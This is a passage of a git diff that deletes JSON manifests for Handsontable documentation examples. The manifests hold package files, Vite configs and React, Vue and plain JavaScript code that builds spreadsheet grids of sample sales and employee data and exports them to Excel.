\"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n

    Right-click any cell to open the context menu.

    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\nnew Handsontable(document.querySelector('#example3'), {\n data: [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1','Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['Electronics', 'Accessories', 'Software'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'numeric' },\n { type: 'checkbox' },\n ],\n colHeaders: ['Product', 'Category', 'Unit Price', 'Stock', 'Active?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n contextMenu: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example3.js","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json deleted file mode 100644 index 6ca322f0..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n

    Right-click any cell to open the context menu.

    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nnew Handsontable(document.querySelector('#example3')!, {\n data: [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1','Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['Electronics', 'Accessories', 'Software'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'numeric' },\n { type: 'checkbox' },\n ],\n colHeaders: ['Product', 'Category', 'Unit Price', 'Stock', 'Active?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n contextMenu: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example3.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__react__example1.tsx.json deleted file mode 100644 index 7905905b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst hotData = [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n];\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const handleAfterInit = () => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\n hot?.render();\n };\n\n const exportFile = async () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n await exportPlugin?.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-excel/react/example1.tsx","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__react__example2.tsx.json deleted file mode 100644 index 578d057e..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst q1Data = [\n ['Alice Martin', 'North', 142000, true ],\n ['Bob Chen', 'East', 98500, true ],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true ],\n ['Eva Rossi', 'North', 54800, false],\n];\n\nconst q2Data = [\n ['Alice Martin', 'North', 158000, true ],\n ['Bob Chen', 'East', 112400, true ],\n ['Carol Davies', 'South', 89100, true ],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true ],\n];\n\nconst columns = [\n { type: 'text' as const },\n { type: 'dropdown' as const, source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric' as const,\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' as const },\n];\n\nconst ExampleComponent = () => {\n const hotQ1Ref = useRef(null);\n const hotQ2Ref = useRef(null);\n\n const exportSheets = async () => {\n const hotQ1 = hotQ1Ref.current?.hotInstance;\n const exportPlugin = hotQ1?.getPlugin('exportFile');\n\n await exportPlugin?.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1!, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: hotQ2Ref.current?.hotInstance!, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n };\n\n const sharedProps = {\n columns,\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto' as const,\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation' as const,\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n

    Q1 Sales

    \n \n

    Q2 Sales

    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-excel/react/example2.tsx","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__react__example3.tsx.json deleted file mode 100644 index 978506f2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst hotData = [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1', 'Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n];\n\nconst ExampleComponent = () => (\n <>\n
    \n

    Right-click any cell to open the context menu.

    \n
    \n \n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-excel/react/example3.tsx","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__vue__example1.vue.json deleted file mode 100644 index 5e448c31..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-excel/vue/example1.vue","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__vue__example2.vue.json deleted file mode 100644 index d862527f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-excel/vue/example2.vue","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__vue__example3.vue.json deleted file mode 100644 index ace276f4..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-excel/vue/example3.vue","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__javascript__example.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__javascript__example.js.json deleted file mode 100644 index c985138c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__javascript__example.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example');\nnew Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', 95000, '2026-03-14'],\n ['James Okafor', 'Marketing', 'Product Manager', 88000, '2026-07-01'],\n ['Li Wei', 'Engineering', 'Frontend Dev', 82000, '2026-01-10'],\n ['Maria Santos', 'HR', 'HR Specialist', 71000, '2026-11-20'],\n ['David Kim', 'Engineering', 'Backend Dev', 85000, '2026-08-05'],\n ['Emma Wilson', 'Marketing', 'SEO Analyst', 68000, '2026-02-14'],\n ['Ahmed Hassan', 'Finance', 'Controller', 92000, '2026-06-30'],\n ['Sara Johansson', 'Engineering', 'QA Engineer', 78000, '2026-09-12'],\n ['Carlos Mendez', 'Sales', 'Account Manager', 74000, '2026-04-25'],\n ],\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/undo-redo/javascript/example.js","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__javascript__example.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__javascript__example.ts.json deleted file mode 100644 index f57b5c55..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__javascript__example.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example')!;\n\nnew Handsontable(container, {\n data: [\n ['Ana García', 'Engineering', 'Senior Engineer', 95000, '2026-03-14'],\n ['James Okafor', 'Marketing', 'Product Manager', 88000, '2026-07-01'],\n ['Li Wei', 'Engineering', 'Frontend Dev', 82000, '2026-01-10'],\n ['Maria Santos', 'HR', 'HR Specialist', 71000, '2026-11-20'],\n ['David Kim', 'Engineering', 'Backend Dev', 85000, '2026-08-05'],\n ['Emma Wilson', 'Marketing', 'SEO Analyst', 68000, '2026-02-14'],\n ['Ahmed Hassan', 'Finance', 'Controller', 92000, '2026-06-30'],\n ['Sara Johansson', 'Engineering', 'QA Engineer', 78000, '2026-09-12'],\n ['Carlos Mendez', 'Sales', 'Account Manager', 74000, '2026-04-25'],\n ],\n rowHeaders: true,\n colHeaders: true,\n stretchH: 'all',\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/undo-redo/javascript/example.ts","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__react__example.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__react__example.tsx.json deleted file mode 100644 index 86e4e3b4..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__react__example.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/undo-redo/react/example.tsx","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__vue__example.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__vue__example.vue.json deleted file mode 100644 index 0b824e7f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__undo-redo__vue__example.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Undo and redo · Basic demo · Vue 